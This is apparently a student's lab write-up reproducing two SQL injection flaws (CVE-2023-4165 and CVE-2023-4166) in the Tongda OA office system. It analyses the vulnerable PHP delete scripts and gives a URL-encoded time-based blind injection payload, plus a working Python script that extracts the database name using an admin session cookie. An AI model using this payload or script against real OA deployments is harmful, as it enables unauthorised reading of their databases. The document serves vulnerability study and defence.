网络攻防大作业——通达OA的两个SQL注入漏洞复现(CVE-2023-4165,CVE-2023-4166)

OA系统下载地址:

 https://pan.baidu.com/s/12tkoUZUgUFHWHukeG6uirA?pwd=1234 提取码: 1234 

该漏洞存在于11.9版本及之前的通达OA智能办公系统里,所以为了复现该漏洞,我下载了11.9版本的服务器系统,构建了一个测试环境,包括以下步骤:

安装包下载之后直接下一步安装即可

到最后这步即安装成功,默认配置即可,如端口被占用可更换一个其他端口

安装之后访问网页127.0.0.1如图表示安装成功

3.漏洞介绍和利用原理

漏洞介绍

在本次网络网络攻防综合实验中,我复现的漏洞是通达OA系统中的两个PHP文件中存的SQL注入漏洞。这些漏洞存在于/general/system/seal_manage/iweboffice/delete_seal.php和/general/system/seal_manage/dianju/delete_log.php文件中,它们允许攻击者通过精心构造的输入来操纵数据库查询,执行非法的SQL命令。

漏洞详情:

delete_seal.php文件: 该文件的目的是从数据库的office_seal表中删除指定的记录。 它首先包含认证和页面配置文件,然后创建一个名为CUR_TIME的变量来保存当前时间戳,可能是为了记录删除操作的时间。 接着,它处理$DELETE_STR变量,使用rtrim()函数去掉末尾的逗号。 最后,它构造了一个SQL查询语句,使用$DELETE_STR中的值作为ID列的筛选条件,并调用exequery()函数执行该查询。 执行完毕后,使用header()函数重定向到另一个页面。

delete_log.php文件: 该文件的功能是从数据库的SEAL_LOG表中删除指定的日志记录。类似于delete_seal.php,它也包含了认证和页面配置文件。 它检查$DELETE_STR变量的最后一个字符是否为逗号,并在是的情况下移除它。 然后,它构建了一个基于$DELETE_STR的DELETE SQL语句,并执行该查询。 完成后,同样使用header()函数重定向到日志管理页面。

利用原理

打开通达的安装目录查看源代码如图

,发现被使用Zend加密,使用SeayDzend工具进行解密

漏洞:CVE-2023-4165

根据网传的poc,直接来看/general/system/seal_manage/iweboffice/delete_seal.php文件

php代码实现的功能是从数据库中删除指定的记录。前面三句是包含其它文件进来,用于检查用户是否已经登录,以及是否具有执行删除操作的权限。。然后第四句开始是创建了一个名为CUR_TIME的变 量 , 保 存 当 前 时 间 。 当 前 时 间 可 能 是 为 了 记 录 删 除 操 作 的 时 间 戳 。 $DELETE_STR = rtrim($DELETE_STR, ",")是对DELETE_STR 变量进行处理,使用rtrim() 函数去掉末尾的逗号(,)。然后是构造了一个SQL查询语句$query = "delete from office_seal WHERE ID IN ($DELETE_STR)",使用$DELETE_STR中的值作为 ID 列的筛选条件对office_seal进行删除工作。接着exequery(TD::conn(), $query);调用 exequery() 函数执行 SQL 查询;header("location:manage.php?start=$start");使用 header() 函数将请求重定向到另一个页面。

分析到这里的时候,很明显的一个SQL语句拼接,确认存在SQL注入。

尝试进行一下注入,试一下有没有过滤sleep

分析一下看到在inc/conn.php中进行了过滤。

代码对各种常见的sql注入语句进行了过滤,通过正则表达式检测并阻止了多种类型的SQL注入攻击,包括注释、联合查询、特定函数调用、文件操作以及权限和日志设置相关的注入语句,以增强数据库操作的安全性。

然后尝试使用网传的poc进行请求

1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1

使用DATABASE进行延时盲注测试,char(84)是ASCII码的T,看到有稍微延迟大约2秒(推测是SQL语句匹配运行造成的)

char(84)改为char(83)发现延迟大大降低

在进行这个延时盲注的测试语句的构建时,要注意在URL中,空格通常需要被编码为%20,因为空格不是一个有效的URL字符。所以包含空格的HTTP GET的空格要替换成%20,不然会出错。这个语句通过检查数据库名称的第一个字符的值,结合information_schema.columns表的查询确保语句始终为真,并使用and(1)=(1闭合,其目的是在猜测正确时触发数据库延迟响应,从而间接探测数据库信息。

漏洞:CVE-2023-4166

这个漏洞其实和上面的漏洞差不多,只是漏洞点的位置不同

/general/system/seal_manage/dianju/delete_log.php

简单分析看了下,这段PHP代码的功能是从数据库的SEAL_LOG表中删除指定的日志记录。代码首先包含认证和头部配置文件,然后处理$DELETE_STR变量以移除末尾的逗号,用$query = "delete from SEAL_LOG WHERE LOG_ID IN ($DELETE_STR)";构建并执行一个基于该变量的DELETE SQL语句,对SEAL_LOG进行删除操作,最后用header("location:log.php?start=$start");重定向到日志管理页面。然而,这段代码存在SQL注入的安全风险,因为它直接将用户输入的$DELETE_STR拼接到SQL语句中,没有进行适当的验证和清理。为了防止SQL注入攻击,建议使用参数化查询,并加强输入验证和错误处理。

直接上POC

产生2秒延迟

char(84)改为char(83)

没有产生太多延迟

根据上面分析的特性,当遇到正确的字符的时候延迟的时间会比错误的字符多一些。利用这个特性进行延时盲注,就可以的到数据库的各种数据。

附带利用的python注入代码(相关参数根据实际情况微调)
 

import requests

import time

import string

url = "http://127.0.0.1/general/system/seal_manage/dianju/delete_log.php"  # 目标网站的URL

delay = 2  # 延迟时间,单位为秒

cookie_value = "USER_NAME_COOKIE=admin; SID_1=a1afe2f7; PHPSESSID=i14pb5bbu6287onkbor5gi8m97; OA_USER_ID=admin

"

characters = string.ascii_letters + string.digits + "_!@#$%^&*()+-"  # 可能的字符集

result = ""

for i in range(1, 31):  # 假设字符的最大长度为30

    found = False

    for char in characters:

        payload = f"1) and (substr(DATABASE(),{i},1))=char({ord(char)}) and (select count(*) from information_schema.columns A,information_schema.columns B) and(1)=(1"

        headers = {

            'Cookie': cookie_value

        }

        start_time = time.time()

        response = requests.get(url, params={'DELETE_STR': payload}, headers=headers)

        end_time = time.time()

        response_time = end_time - start_time

        if response_time >= delay:

            result += char

            found = True

            print(result)

            break

    if not found:

        break

print("Database:", result)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值